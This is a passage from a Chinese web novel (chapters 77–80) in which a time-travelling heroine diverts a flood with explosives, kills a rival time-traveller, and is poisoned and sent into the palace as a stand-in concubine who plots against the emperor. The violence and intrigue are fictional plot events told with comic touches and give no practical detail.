迁都虽然仓促,但已经是眼下最好的选择。至于百姓能活下来多少个,那便看天意吧。 这着实让人难以忍受。 王怀璟不瞒她,上官梨只听得一股无名火起。 你们不是已经趁乱灭掉了大阜吗? 毁掉我爱的地方的,居然不是什么上下一体的盛世之国度。 而是这样一帮下贱、腐烂的小人,为了苟且偷生而做的负隅挣扎,这如何不能让人感觉恼怒? 一群胆小鬼! 上官梨闯进权贵们议事的房间,劈头盖脸地问: “你们是怎么治水的?” 在一众高官的瞩目下,王怀璟都算是个小虾米,忙起身揽着上官梨的肩膀向外走,轻声道:“琼华大半的青壮都去治灾。” 上官梨挣开他,怒道:“你们不是偷走了我的东西吗?去用啊!” 这是个敏感的话题,只是王怀璟现在没有在乎这个的心力。 “你是说炸药吗?已经投入使用,但在大秉能够正常引爆的不超过一半。”王怀璟面露疲惫,道,“人力难胜天力。” “除非......有威力更大的东西。” "那种东西我有!"这样的环境下,上官梨也难免变得尖锐,她冷笑道,“难道就因为有灭国之仇,你就不敢跪下来求我,怕我开的价格你们付不起吗?!” “我愿意付出任何代价。但你愿意交出来吗?为了一个把你的故国毁掉的国家。”王怀璟一针见血道。 “........” "就算琼华被淹了,也不过只是这一地受灾而已。大秉现在已经有了大阜的掌控权,在水患稍稍退去之后,权贵们就可以乘着马车去往你的故土繁衍生息,那片土地将忘却大阜的名字。" 上官梨沉默了。 无论表面上再和睦,无论有了怎样的身体关系,他们终究是敌对的双方。 如果上官梨是大秉人,她一定能为这个国家带来更多更好的事情。 但现在,大阜人上官梨只要冷眼注视着,不要捣乱就可以了。 “你只需要听话这一次。”王怀璟的语气松动了些,道,“我终于要摆脱你了。从此之后,王氏恐无法留在琼华,你须得另找人家,毁他们的九族了。” 上官梨注视着他的背影,心想: 你们大秉人真冷漠。 上官梨把行李放在黛兔的背上,翻身上马。 假如我和你们一样选择冷眼旁观,我这样的天才和你们这些大秉的贱人还有什么区别? 房中,王氏族中长辈拍拍王怀璟的肩膀,语重心长地道:“王家复兴的重担已经扛到你的肩上。” “我明白。”王怀璟道,同时感到一阵心累。 忽然听得一阵惊呼声。 仿佛心有灵犀似的,王怀璟扑出门去。 而马蹄声践踏污泥的声音格外响亮,黛兔已经策马离去,快得仿佛要飞起来了一般。 上官梨的身影很快仅剩一个红色的色块,因为速度太快,她的披帛被甩飞了,湿漉漉的布条在狂风下居然显得愈发的灵动,仿佛那一刻她真的是天上下凡的神女。 “她去做什么?!”王怀璟简直要疯了,完全想象不出来,抓住慕容轻质问,“你怎么不拦着她?” 慕容轻留在原地挥手地给上官梨送别,面对王怀璟的质问,慕容轻只给了他一个轻蔑的眼神。 穷苦出身的阿轻向来最看不起的就是权贵,上官梨不在,说话可以不必给王怀璟面子。 她幽幽道: “你们是绝对不会懂的。” “真正值得让人赴汤蹈火倾心追随的神女,像你这样的庸俗之物怎么会理解呢?” 77. 第77章 平庸的结局 慕容熙一直秉持着一种信念。 活下来的人,才能是我大秉人!!! 身为一块好用的砖,他看别的不那么好用的砖,总是很有意见。 琼华很重要,非常重要。 王氏这帮废物点心,害得他都没办法抽出空当来欺负可爱的亡国皇后了。 水流在离琼华这么近的地方奔腾,哪怕是慕容熙也觉得有些难办。 自己的近卫已经滚下去一起帮忙了,仍然杯水车薪。 反正在这种时候,应该也没人想刺杀他。 但,居然还真有。 伴随着马儿长长的嘶鸣,他听见了一个熟悉的女声。 上官梨眯了眯眼,在雨幕中勉强看清那人的身形,声音几乎要被淹没在滚滚洪流中。 她吃惊道:“现在连男宠都要帮忙治水了吗?!你不仅出卖肉/体,还要出卖肉/体,连个大结果也没有,是否也是太惨了一点?” 啊,这可太有意思了。 这女子就是我一直以来寻找的,真正的品德高贵之人。如果是她,一定能—— 慕容熙忍不住微笑,再转过脸的时候脸上一派无辜,抹了下脸上的水,道:“大人体谅些,生活不易呀。” “您如此来,定然是有办法?” “我也不知道算不算办法。”上官梨干脆利落地道,“我是外行人。” 她把挂在马屁股上的箱子丢给慕容熙,道:“接着!” 十分沉重。慕容熙如果真是男宠,此时应该去找个大夫看看自己骨折的手臂。他道:“这是?” 上官梨神色十分坦荡,道:“这是送你的大结果。 “去把它呈给那些大人物们,你应该就不用当男宠了。记得用的时候离得远些,用棉花塞住自己的耳朵。” “嗯.......至少离开百步,不,两百步之外吧?” . 上官梨并没有夸张。 这等□□把水流被炸上几丈高,原本的河道被活活半路截断,地势都遭到了一定程度的破坏。 被猛地抛高又如石子般噼里啪啦落下的污水,把所有人的衣袍都浸得脏兮兮的,在皮肤上留下粗糙的泥沙。 好些倒霉蛋甚至被卷入了水中。 还好绝大多数大秉人都会水,在水中,或是在岸上,浑身泥泞或是全身湿漉地,只目愣愣地瞪着爆炸出现的方向。 从大阜故地最高也是最神圣的山峰上流淌出的水源,正向着远离琼华城的方向奔流而去。 这样大概就行了吧? 上官梨把黛兔耳朵上的布条扯下来,心情复杂,不知道应该开心还是应该难过。 在或狂欢或呆愣,情绪高涨的狂欢人群中,上官梨扣上自己的帷帽,牵着黛兔向着来时的路走去。 注意到了什么,上官梨停下了脚步,抬眼看向来人。 慕容熙不知道为什么总让人不太舒服,明明这人除了有点魔怔之外挺礼貌的。 他快步上前几步,一套干净的女子衣物被他小心翼翼地托着,他柔声道: “换件干净的衣服会好受一些。” “不用了。”上官梨抬头看看天色,还在该死地下雨,她的肌肤都被泡得发白,道,“我回去还是会被淋湿的。” 慕容熙这狗嘴里吐出了十分可怕的话:“若是寻常雨水自然无碍,但这水怕是泡过尸体的水。” 眼看上官梨脸色骤变,他又贴心地笑道:“我的营帐可借予大人,此时无人会来的。” 果然是男宠,哪怕来干体力活,待遇就是不一样。 上官梨这么想着,刚把自己身上的衣物三下五除二扯下,就听到慕容熙在账外出声,道: “大人能做出这种东西,慕容微这个废物怕是连王位都要拱手送上。如果真的有那一天,大人会推辞吗?” 起手就是这种雷霆话题。 上官梨很困惑,反问:“就算我手中拿着一把很锋利的刀,也不会走在路上就用这把刀去捅别人啊?” “是这样吗?”慕容熙像是见到了什么新奇事物一样,惊讶道,“原来如果是你,就不会这样做么?” 上官梨:“........” 和大秉人说礼仪道德,根本就是多余。 “谢谢你的衣服,我要回去了。”上官梨刷地一下拉开营帐,皮肤还是黏答答的不舒服,至少不会让人狂冒鸡皮疙瘩了。 “不要着急嘛,大人。”慕容熙挽留道,“想必大家都会对带来奇迹的神女十分好奇。” “不需要。”上官梨已经走远了,摆摆手。 我可是要把这里搅得天翻地覆的!上官梨在心中暗下决心。 慕容熙瞧着上官梨纵马离去的背影,简直要大笑起来了。 这样好的女子,应该有些礼物才对。 我相信你一定会高兴的。 . 这件事情的余波未消。 上官梨站在屋顶上,撑着油纸伞。 并非她突然中二病爆发,而是被水浸过的墙壁有一股难闻的泥土腥味,爬满了泥鳅青蛙水蛇,她这种举动属实退让者幸存。 王阳晖治水不利,导致水灾险些淹了琼华,按罪当流。 但王氏家大业大,此举不过暂时蛰伏,等一个东山再起的机会罢了。 王怀璟一身孝服,他生得是副眉目如画的模样,现在眼下带着点青黑,仰起头问上官梨:“明日便是启程之日,你要和我们一起走吗?” “我不会。”上官梨正绝望地拿油纸伞试图把在房顶上乱爬的巨大蜗牛挑飞,道,“你想想办法,让你的妻子在流放中染病死掉。从此之后我再闹出再大的干系也与你无关。祝贺你过上你想要的日子,从此种地要勤勉。” 和上官梨说话就是这样容易被真诚刺伤。 “.......那样东西.......”王怀璟语带迟疑。 上官梨知道他想问的是那威力无比巨大的炸药,原本是打算用在什么地方? “还用说吗?”上官梨得意洋洋地笑道,“我与你们可是有血海深仇。只要我轻松出手,砰!地一炸,这地方整个就要被我炸个底朝天。” “而现在你是琼华人的恩人。” 王怀璟也不知道自己是何种想法,不知道自己的眼神是如何温柔,只道:“一个人是不能同时当做恩人和仇人的。” 上官梨没说话。 “和我走吧,一直做我的妻子如何?只在一个平凡的地方,做一对平凡的夫妻。过闲云野鹤的生活。” 在这样阴雨连绵的地方,上官梨仿佛是唯一的艳色。 “我不要。”上官梨沉默半晌,不小心踩碎了瓦片,发出轻微的响声。 她道:“我做事不喜欢半途而废。” 王怀璟深深地看了她一眼,仿佛要将她刻在眼中。但上官梨应该根本没有正眼看过他,因为她忙着和一只青蛙赛跑。 他失笑道:“在明日正午之前,你随时可以转变主意。” “那种事情可以先放在一边吗?”上官梨受不了了,崩溃道,“这癞蛤蟆有没有毒???” 慕容轻搬了梯子,再三保证非人形生物们已经清理干净了,比刺杀更加惊魂未定的上官梨终于愿意从房顶上下来了。 慕容轻笑了上官梨半晌,才道: “大人呐,有的时候放下也是一种选择。” “你怎么会朝着他说话?”上官梨难以接受,抓住慕容轻的肩膀摇晃道,“你可是我的好姐妹!” 慕容轻看得比旁人都要清楚,在震荡中平静道:“大人呐,如果你现在结束,也算是话本中的平庸但幸福的结局。” “而且你根本就不是大阜人,不是吗?” . 要接受吗? 平庸的结局。 上官梨和慕容轻提着行礼离开了王氏府邸,重新入住了 没有哄睡服务的客栈。 上官梨一觉醒来,发觉耳畔十分安静,居然有些让人不习惯。 慕容轻醒得比她要早得多,轻轻地支起窗框,一缕阳光透进,未干透的水从花窗上连成串儿流了下来。 是久违的晴日。 这太少见了,慕容轻立刻把所有东西都拿出来晾晒一番。 在箱子的底部,什么东西在阳光下发着温暖而柔和的光。 是那块王氏的玉佩。 第一次见靠山倒得比她这个搞事的人还快! 上官梨很愤愤。又心想,这块玉佩也没什么用了,在王氏被流放之前,去还给王怀璟吧。 琼华的街市和利阳的街市没有什么区别,唯一的些微差别就在于利阳不会常常下雨,所以常有露天卖冰糖葫芦、卖包子的小贩。 但是琼华连日阴雨,又刚被水淹过,街市上常常弥漫着一股泥土的腥味。 在这里更加流行的是用密封的罐子装起来的炖肉。 里面可能是熊,可能是蛇,可能是随机猎取来的某种不详生物,爱吃不吃。 这里的百姓们野得很,素质不详,作风狂放。 上官梨在慕容轻的推荐下买了一罐,面对其中漂浮着的不明肉块,迟迟不敢下口。 慕容轻咬了一口,推荐道:“还是老风味,没变过呢,大人你快尝尝。” 上官梨:“........” 真的吗? 她好奇地夹了一小块送入口中,立刻感觉自己被肉打了。 “老板,来壶茶。”慕容轻扶着上官梨,在路边茶馆坐下,嘴角露出了微微的笑意,叮嘱道,“需得快些,我家小姐急用呢。” 舌头上又苦又辣又酸,几乎短暂失去语言功能的上官梨用眼神控诉她: 这大秉人咋这么坏啊! 茶馆角落爆发出了一声大笑,上官梨咕噜咕噜给自己灌着凉茶,好奇地望过去—— “裴兄,你再给大家讲一遍,你的上司给你布置了什么任务?”那男子乐不可支,说到一半就已经开始笑了,道,“哈哈哈哈哈哈!” “别提了!”裴伍把茶杯往桌上一放,第一百次讲这个故事,道,“保证你们都闻所未闻。给看不顺眼的人家下春/药!见过偷公章的,见过这个没?” 立刻响起了一群人快活的笑声。 在这快乐的笑声中,上官梨感到自己的血液像是被冻住了。 怎么会在这个时候找到呢? 鸩鬼。 我找你好久好久了。 简直就像上天给她送的礼物一样。 慕容轻抓住了上官梨的手,上官梨安抚地拍了拍她的手背,道,“我去去就回来。” “......大人......” "不与你们闲聊了,我得去述职。"裴伍十分牙痛,把一把铜钱丢在茶桌上,起身道,“古代的权贵总是这么变态,接头的地点一个又一个。” “哎,对了,裴哥,你和那思琦姑娘——” “滚,八字没一撇的,再说回来再有你好果子吃。” 裴伍踹上了一个男子的屁股,大言不惭道:“你们这帮家伙藏好了——等我骗干净了这群老傻子,这江山就要改朝换代了。这可是每个穿越者的终极梦想!” . 夕阳西下,残阳如血。琼华城门,王怀璟一身白孝,街市人群来来往往,不时用异样的眼神注视他们。 车队已经拖得太久了。 王氏长辈催他快点出行,流放的哪一天就该是哪一天。 虽说他们已经提前打点,但若是太迟误了时辰,没有任何好处。 “就来。”王怀璟回头。 对于上官梨现在如何,将来又会如何,他只能祝福,也痛恨于自己只能祝福,并且羞耻于自己对她居然是祝福,还不知道祝福什么。 至少希望你—— 能够获得幸福。 78. 第78章 此非横生事 砰! 枪/口冒出些微的余烟,裴伍痛叫一声,抱着脚踝在地上打滚,那里开了一个恐怖的血洞。 “你明明是穿越者,你明明也是穿越者!” 上官梨冷笑一声,帷帽落在地上,那张漂亮而极具个人特色的面容,在晌午的日光下简直在熠熠生辉。 她又补了一/枪,这次没能打中。 裴伍这样的人,在现代也是刀尖上舔血的人物,在生死关头同样爆发出了极强的胆魄,句句往上官梨的心上扎,道:“你会为了游戏NPC殴打玩家吗?!” 上官梨确实被他戳中了伤心事,于是又开了一/枪,砰! 他的腹部爆出血花,痛得在心底咒骂,依然不得不诚恳道:“比起这群蒙昧的、无知的、愚钝的古代人,明明我们才是一样的!我们生活在同一个环境中,都读过一样年份的书,我们才是真正的同族!!!” “啊,是吗?”上官梨平静道。 似乎有缓和的苗头。 为了小命,裴伍什么都能说出来。 他再接再厉道:“如果你在这里杀了我,所有人都会知道是上官梨动的手!我们知道只有你能够做出这样的东西来,你从此往后就再也没有办法和与你同样穿越而来的人交心了。因为正常人都会害怕你!恐惧你!” 上官梨似乎有些迟疑,裴伍严厉的辞藻缓和了下来,道: “我们一直在找你,并为你发去了许多信件,你是不是都没有看到过?没关系,只要有你在,我们就能够建立新的秩序,改变这个愚昧而昏庸的时代。” 上官梨思索了一下,然后道:“不一样哦。” “对,就是不一样。”裴伍立刻疯狂点头说,“你放心好了,只要你浪子回头。在此处发生的事不会有任何人知道,你只是一时的鬼迷心窍。” “我说我和你不一样。我在穿来之前已经在读博士学位了,所以我们读的书年份绝对不一样。” 裴伍一噎。 这女人在这种时候还在跟他炫耀学历吗?! “我和你就不同。那为何你能分得那么清楚?”上官梨扣下了扳机,道,“我从来就分不清楚啊。” 这个世界的人和那个世界的人哪里有什么不同? 砰! 血溅三尺。 日头又阴了下来,上官梨担忧地看了看天色,心道,慕容轻晾的衣服要湿透了,这可怎么办才好? 污水混着鲜血流进沟渠,上官梨把枪/支收进袖中,慕容轻还在茶馆喝大约第三壶茶。 思及此,上官梨加快了脚步。 穿过尾随裴伍而至的偏僻的小巷,叫卖声近在咫尺。 有个卖糖画的摊贩叫卖声! 这在大秉实在太少见了,慕容轻应该一定会帮她买吧!如果吃不到糖画她的人生就会缺少很多! 嗖! 上官梨欣快的步伐猛地一顿,下意识捂住手臂,些微的温热液体流淌出来,而她触到了一根冰凉不详的长针。 乓,她突然地软倒下去,只是在十次心跳间,四肢就失去了力气。 这种毒,她已经经历过一次。 太熟悉了,谢厌。 我一定要杀了你!!! 意识逐渐变得模糊,上官梨半跪在地,用力到咬破自己的嘴唇,却并不能给她带来半点清醒。 看来谢厌在私底下还是下了不少功夫。 但上官梨真希望他立刻暴毙! 在失去意识之前,上官梨听到了袭击他的人的声音,却并不是熟悉的声线,而是从未听过的中年男女声线: “这个看起来比较像骊儿,就这个吧。” “需得托人查查有没有家人朋友吗?闹大了又是件麻烦事。” 上官梨腰间的玉佩落在地上,衣着华贵的中年女子弯腰把它捡起,道: “应是王氏中人。王氏族人都要被发配边疆了,自顾不暇,拿来用用正好。他们最好面子,想来也不敢闹出什么水花,还要想方设法遮掩呢。” . 琼华最大的青楼。 原本这里是群魔乱舞,而现在因为一个人的到来,不论小倌还是娼妓,都纷纷闭门不出,怕污了贵人的眼睛。 “长公主。” 慕容华手中摩挲着一叠信件,那些信都有了毛边儿,可见她实在珍惜。 又看见跪在地上的男子,心头酸楚,不知道该怎么说起。 “母亲不愿意见你。”慕容华道。 皇太后终于赏脸见了慕容华一次,但言语间尽是鄙薄,叫慕容华若是闲就去找点事干。 慕容华终究还是没能把那些难听的话说出口,只道:“她说早已与你一刀两断,叫我莫要再纠缠。” “我知。”地上跪着的男子,哪怕已年近半百,饱经风霜,但眉眼间依然有着曾经英俊的模样。他叹了口气,语气沧桑,道: “长公主,我早就明白的,像我这样的人,能与皇太后有着一次露水情缘,便已经是上天给予的恩赐了。至于同享天伦之乐这样的奢望,哪有那么好的事情呢?” “哪怕只有你认我,我也觉得此生无憾。”那男子郁郁寡欢道。 “不应该是这样的。”慕容华虽衣着华丽,相较曾经,眉宇间却忧色更甚,道,“母亲在与我来信时,明明很疼爱我,很关心我,言辞中总怀念着我们三人偷偷见面时的事,怎么我好不容易回家,便会变成这样了呢?” 她掩住面容哭泣起来。 “那便是因为皇太后比较仗义,会做做面子功夫,怕你在大阜自尽罢了。只是说说漂亮话,你怎么真的听上了?” 说话这么难听,没有第二个人。 慕容华猛地抬起头,慕容轻那张总是面无表情的冷脸出现在这满是柔声细语的地方,显得十分突兀。 “你怎么进来的?!”男子十分慌乱,目光不断瞟着慕容华。 “你怎么会出现在此处?”而慕容华更多的却是复杂。 “我给钱了。”慕容轻反手把门关上,平静道,“这么大了还在乎原生家庭吗?你的年纪都可以再开两把原生家庭了。” “我不是因为这个才........”慕容华想辩解。 “我知道。”慕容轻打断了她,道,“现在这一切都不重要了。” 她轻轻摩挲着袖中的枪支,道,“我找不到她了。” “哪里都去过。甚至寻去了流放的王氏。但是我找不到,哪里都找不到,一定是出事了。” “你知道在哪,对吗?”慕容轻看看慕容华的表情,明了道。 “大概。” 慕容熙是从慕容华这里撬出上官梨的一生。慕容华难以启齿,只道:“你先不要着急。她定无性命之忧。” “你究竟是怎么想的?”慕容轻面无表情道,“我愈发看不懂你,就这么沉浸在过家家里吗?” “走不出来又如何?”慕容华怒极反笑道,“你不在乎是因为你本来也就没有父母!” 这话说的实在太重了。 慕容华当即噤声,小心翼翼地觑着她的表情。 慕容轻面无表情地看着她道:“我早就不在乎了。毕竟我今年是三十五,又不是十五。” 慕容华不再敢看她,心乱如麻,胡乱应了下便离开。她快步走过这满是胭脂俗粉的青楼,在侍女的搀扶下坐上长公主华丽的马车。 马车辘辘驶入宫门,御书房 中,肥胖而满脸疤痕的陛下正就着如昼的灯火,仔细批阅着大臣递上的奏折。 “陛下!”慕容华行礼,迫不及待地匆匆道,“陛下莫要再放纵慕容熙了!” “请赐给他封地,把他放归到远处去吧。” 慕容微不知道怎么面对他这个不熟的皇姐,只露出了狰狞的笑容。 他道:“王姐此话说的不妥,若是没了他,如国失栋梁矣!” . 上官梨是被一盆冷水泼醒的。 她被绑在椅子上。 入目的是一张漂亮的女子面容,虽然漂亮,但眼皮很薄,显得十分薄情,一看便是一张不好惹的脸。 上官梨不认识她。 她也不认识上官梨。 两人面面相觑。 琼华王氏和琼华谢氏关系非常烂,琼华王氏的女眷在出游时都不带琼华谢氏,琼华谢氏办宴会时也不会叫琼华王氏的人来。 于是谢骊对着这张美艳至极的脸沉吟许久,没有猜出这人到底是王氏的哪个蒜苗。 她心眼不多,就直接问了:“你是王家的谁来着?” 上官梨反问道:“你又是谁?干嘛要抓我???” 谢骊倒打一耙:“还不都是你家那个梨儿害的,害我不得不进宫嫁给丑陋又残暴的陛下!” 事情还要追溯到谢家为了选育更优品种而举办的婚恋比试大会。 这可是谢家的传统糟粕,独一份! 原本算上梨儿是女多男少,而梨儿被半途一纸赐婚赐给了王怀璟,刚好是个双数。 但谢厌趁机大肆表演了一波,狠狠在家中上吊了一番,表示自己非她不娶,要怪就去怪慕容微。 这赐旨确实突兀,而且谢厌年纪确实不大,谢氏家主便也让他留到了下一届。 于是人数重新变成了女多男少。 但由于谢骊平时饱受疼爱,被宠坏了,能力实在太差,连续三次在大会中垫底。 谢氏怎么能有拿不出手的子弟呢? 这太让人笑话了! 恰好谢贵妃因病去世。 谢氏家主在悲痛之余,又忧心起没有在宫中吹枕头风的人了,这可不行!便自作主张将谢骊送入宫中。 “我绝不能嫁给那种人。” 谢骊愤然道:“怎么能嫁给那种粗暴而野蛮的家伙?既然是你们王氏中人害的,你与我身形相似,便替我去受这苦楚!” 上官梨听完只有一种想法。 天上掉馅饼呢? 她低低地笑起来。 谢骊被她笑得麻麻的,忍不住道:“别想着逃跑!你身上可是有我家的毒药,解药在我这里。若是你乖乖的,我才给你解毒。” 谢骊撒谎了,她并没有那种药。 用来毒倒上官梨的蛇毒还是花重金从谢厌那里买到的。 她有些忐忑,但眼前的女子也恰巧似乎有些蠢笨。 在这种受制于人的情况下,还能笑起来,笑得莫名开朗,上官梨微笑道:“你可以不必绑着我,我很乐意帮你这个忙。毕竟我想见到大秉真正的最高贵之人,已经想许久了。” 什么品味?谢骊不敢恭维,但人质愿意配合,她也就少了许多威逼利诱的功夫。 却听上官梨又道:“可是我与你长得并不像啊?” “知道我长什么样子的人本就是极少数,连我亲兄弟叔伯都不知道!”谢骊放松了许多。 心头大患终于解决,她难免有些飘飘然,道:“从现在开始,你就是谢骊!明日,你就替我入后宫!” 那明日就是慕容微的死期了。 上官梨也很高兴,日子赶得这么紧,她还有时间去赶上王怀璟呢。 79. 第79章 织命非知命 上官梨从来没有这么虚弱过。 这对她来说还是很新奇的体验。 身体一点力气也没有,仿佛被浸在冰水中。只是行走,便仿佛要榨干这具身体所有的能量。 若这是毒,那始作俑者可真是恶毒无比。 第二日,谢骊就把她装进了一顶小轿。上官梨原以为皇帝娶妃子,多少也应该像样一些,但实际上什么也没有。 只是乘着华丽的轿子,上官梨顶着谢骊的名头,被送进了谢贵妃香消玉殒的宫殿。 这宫殿几乎已经可以改名叫谢氏的祖宅了。 因为他们每一代都会持之以恒地往里面塞人,皇帝懒得为此多花心思,就全都住在这里。 里面大约有几十个人的冤魂,凑在一起可以打十几桌麻将。 哪怕有一代生不出女儿,也坚持送了七八个男宠进去,真令人叹为观止。 “解药呢?在何处?” 在被送进去前,上官梨问。 她哪下过毒药啊? 谢骊有些底气不足,但还是嘴硬道:“不行,我怕你跑了。等你在宫中替我站稳脚跟,我自然会把解药送给你。” 没关系,上官梨的脑子很聪明。 哪怕她没有了超级力量,还有超级大脑。 她把自己脑袋上的簪子都打磨得尖尖的,打算等慕容微一进来,就把他串成冰糖葫芦。 当晚,她在殿中没等到慕容微。 不熟悉的侍女们在说风凉话,上官梨通通抛之脑后。 她满脑子都是原本看过的影视剧,沉思明天是该去御花园偶然撞见,还是尝试着亲手做点什么羹汤。 她想多了。 第二日,慕容微在朝堂之上发出了举世皆惊的言论。 他阳痿了! 这本来就是每个男子都要经历的事。 慕容微受了慕容熙这么多年的折磨,日子来得早一些,也是正常。 这位肥胖的君王对此痛哭流涕,并发誓,从此之后再也不踏入后宫,要勤勉执政。 上官梨眼前一黑。 这世上哪有这么巧的事?偏偏就是发生了。 幸好有人比她还急。 “若是君王不好色,我们从此之后还怎么吹枕头风呢?我们族中子弟若是犯罪了,还有谁替我们求情呢?” “万一家道中落,岂不是会落得比王氏还不如的下场?!” 谢氏家主捶胸顿足。 翌日,上官梨收到了谢骊送来的春宫本子,上面写的内容是关于怎么讨好太监。 这乃是谢氏家主亲笔所画,是用尽毕生经验所得出来的,势必要让上官梨晋升到贵妃之位,好让他们谢氏犯事的时候老有所依。 他有脸画出来,上官梨没脸看下去。 相较琼华谢氏,琼华王氏真是太要脸了! “解药呢?”上官梨把话本子一扣,只催促,“我现在跑也跑不了,你还不放心吗?” 她感觉气力不足、精力不继,这毒没有丝毫发作,或者说是减退的迹象。 让她的刺杀计划都少了许多可行性。 “我们谢家现在和你在同一条船上,你还担心什么?”谢骊以探亲的名义来到宫中,待不得许久。 母亲已想办法为她另寻婚配,在她有了更好的去处之前,必须稳住上官梨才行。 谢骊这种宫斗垫底人员,相较于上官梨还是比较有手段的,她道:“你这张脸是白长的吗?去寻个由头去陛下跟前晃悠晃悠,地位不就上来了。等你重新为我坐上这贵妃之位,我就把解药给你。” “什么由头?” “比如绣个袜子,或者亲手做羹汤什么的。” “我不会。” 谢骊和上官梨面面相觑。 这就是没有得到压力教育的下场! 你看,一旦五岁时不开始学女红,十五岁时就会没有办法送情郎荷包,情郎就会在不会女红的青梅竹马和会女红的天降之间,选择会女红的天降; 在六岁时不开始学做饭,在十六岁时就会没办法在众多宫女中脱颖而出,陛下就会在会做饭的贴心人和不会做饭的体己人中间选择会做饭的贴心人; 一旦起步晚了,你这辈子就晚了!大秉人一旦超过五岁就老了! 谢骊这样每天睡三四个时辰的懒虫,卷不过琼华只睡一两个时辰的贵女们。 她在心里暗暗嘲笑,上官梨恐怕是每天会睡五六个时辰吧,真是不知羞耻! 心理十分健康的上官梨:? 谢骊在得意什么? 谢骊高傲地笑道:“这简单,谢贵妃留下的旧人中,便有特别擅长做餐食的。” “你去寻她。若是有了她的帮助,你还不能在一月内晋升,那你这辈子都别想要解药了!” 上官梨自从中毒之后,每天须得睡三四个时辰,整个人虚弱得很。 那旧人确实十分擅长餐食。 上官梨现在只是个贵人,所幸托了谢氏留下来的传统老宅的福,至少有个自己的小厨房。 香啊,太香了。 在尝到这人做的第一口饭菜的时候,上官梨连走马灯都出来了。 仿佛回到了几年前,她还没穿越到这个倒霉地方,骑着摩托兜风回来,在路边摊上狂吃烧烤的时候。 吃完最后一口,她直接泪流满面。 可惜的是这世界上最好的厨子在谢贵妃死后,已经被别的宫殿要走了。 眼下不过是看在昔日情谊上,每日来做一顿饭。 听说这人和死去的谢贵妃是在同一个师门学艺的。 谢贵妃能在宫中屹立不倒,也是依靠着这么一门手艺。 可怜这样的女子,也只能在宫中埋没,不知道要受到多少折辱,最后默默地死掉。 上官梨思及此,便觉恶向胆边生。 慕容微罪大恶极! 他配吃这么好的东西吗? 可惜她现在身中莫名毒素,不能随心所欲。 等她得了谢氏的解药之后,再给慕容微点颜色瞧瞧。 . 有了这个世界上最好的厨子帮助,上官梨的职位果然变动了。 从贵人降为了才人。 很好,离目标又远了一步。 谢氏家主再次捶胸顿足,谢骊不得不再次进入宫闱。 她十分抓狂道:“为什么陛下降罪于你?还狠狠罚了我谢家一个月的俸禄?” “我怎么知道?我就按你教的那样,把参汤去送给陛下喝呀。”上官梨现在连气色都好了几分,看起来愈发美艳。 “陛下分明对谢贵妃的手艺爱不释手才对。”谢骊由于心眼简单,反而对上官梨闹出的幺蛾子有种莫名的直觉,眯眼道,“你是不是偷喝了?!” 上官梨轻咳一声,目光漂移。她是个不会说谎的好孩子: “实在太香了。我送过两三次,但慕容微始终不愿意见我。想到这么好的食物要被反复加热、糟蹋味道,太可惜……” “不对,这也不会让我谢家受罚,你还干了什么??” “反正都是体现一片心意。我的心意比厨娘的心意不赤诚吗?我便送了我煮的汤过去,谁知道陛下真的会喝。” 上官梨的厨艺有点死活人,造白骨。 谢骊感觉自己有点活到头了。 “你你你你你……” 谢骊知道自己没有给上官梨下毒。 < p>虽然现在像是她掐着上官梨的命脉,但实际上是上官梨掐着她的命脉。 想到自己马上要议定的亲事,这飞扬跋扈的大小姐也忍了又忍:“经此一役,陛下肯定不会再吃你送的食物,幸好我父亲已经为他的女儿又想了办法。” 她把背上的大包放在地上,拿出一大包粉末。黑咕隆咚,散发着不祥的气味。 上官梨眉头紧皱,道:“这是什么?” “这是壮/阳药。”谢骊难以启齿,咬牙道。 “你去把它下到宫中的井水里。日夜滋补,陛下总有能够重振雄风的那一天;那就是我谢氏的崛起之时!” 上官梨:“……” 这桥段好像有些似曾相识,好像有人就这么搞过我。 你们大秉的水里真的还有水吗? 好歹......也算是个办法。 大秉的雨季已经过去了,日头渐短,秋风寒凉。度过了这个短暂的秋天,便会是寒冷而满是雪花的冬天。 上官梨已经进宫第七日。 托她的福,宫中的野猫野狗疯狂发情,还诞生了许多禁忌之恋。 不知道慕容轻在宫外会不会担心她? 她是个沉稳的女子,应该不会做出什么出格的举动。 上官梨的侍女全都对食去了,只留下上官梨一个人被丢在冷冰冰的宫殿角落。 她是个闲不住的人,哪怕此时精力不济,也坚持每天行走一万步。 行走一万步,能够锻炼身体,也能够撞见尴尬的人。 慕容微不知为何日日梦遗、夜夜梦遗,又难以告知于人。作为帝王,遮掩是一件难事。 不得已来到后宫偏僻的角落,晾晒自己的床单和裤子。 上官梨仅用了两秒,就锁定了那个虽然穿着太监服饰,但身材矮胖、脸上有疤、形容猥琐的男人。 她脑子里只蹦出几个大字:壮阳药真有用哈! 慕容微看见上官梨,仿佛鸡见了老鹰、耗子见了猫,仅用半秒就意识到,眼前这个高挑的女子将是他的世间之敌! 他立刻拖着跛脚,跑得飞快。 上官梨撒腿狂追:“站住!” “你每天就想着杀我,对吗?我都听见了你每晚宫殿里传出来的磨刀声!傻子才听你的话!” 上官梨只恨谢骊给她下了毒,让她跑得没有之前那样快,也恨袖中的枪支在谢氏抓她的时候不小心丢了。 不然慕容微早死一百次了! 若是慕容微大声呼救,在这三步一人的后宫中,上官梨必然会被人按在地上殴打。 但他没有,他只挑着偏僻无人的宫殿逃窜。而上官梨岂会是在这种机会面前不抓住的女人? 砰的一声,慕容微被上官梨一脚踹倒。 这女子虽然没有磨刀,但她磨的是比刀更加方便携带的东西。 眼看那尖锐的钗尖就要刺破他的眼球,慕容微大喝一声: “其实我不是真正的慕容微,我是慕容微第108世!!!真正的慕容微还活着,你杀了我没用的!最多再换个109世而已!” 上官梨稍有迟疑。 慕容微立刻竹筒倒豆子一般,把自己的身世背景全交代了: “我只是在路边听一个算卦的人说,若是给他100两,他就能帮我逆天改命,改成皇帝命。我看他水平烂成这样,编瞎话编的挺可怜的,就给了他点赏钱。” “然后我就被打晕了,还被改造成了这副模样!” “求求你了,我只想活着,我发誓,你再也找不出来比我更听话、比我更懂事的慕容微了!我不会胡乱下指令,也不会糟蹋女子,我就想做做好事,谁知道报名是真的能做皇帝啊?!” 80. 第80章 红粉乱尘心 “真正的慕容微在何处?” 上官梨并不放过他。 连日来被愚弄的焦躁感和现在不能把事事都控制在掌握之中的无力感折磨着她,让上官梨也失去了些许余裕,她道:“说!” “我怎么会知道呢?我只是一个小替身呀。” 108世慕容微大吐苦水:“像我们这样的替身,都被圈养在宫中的地下,和猪狗养在一起。上一任死了,我们才会被放出去。” 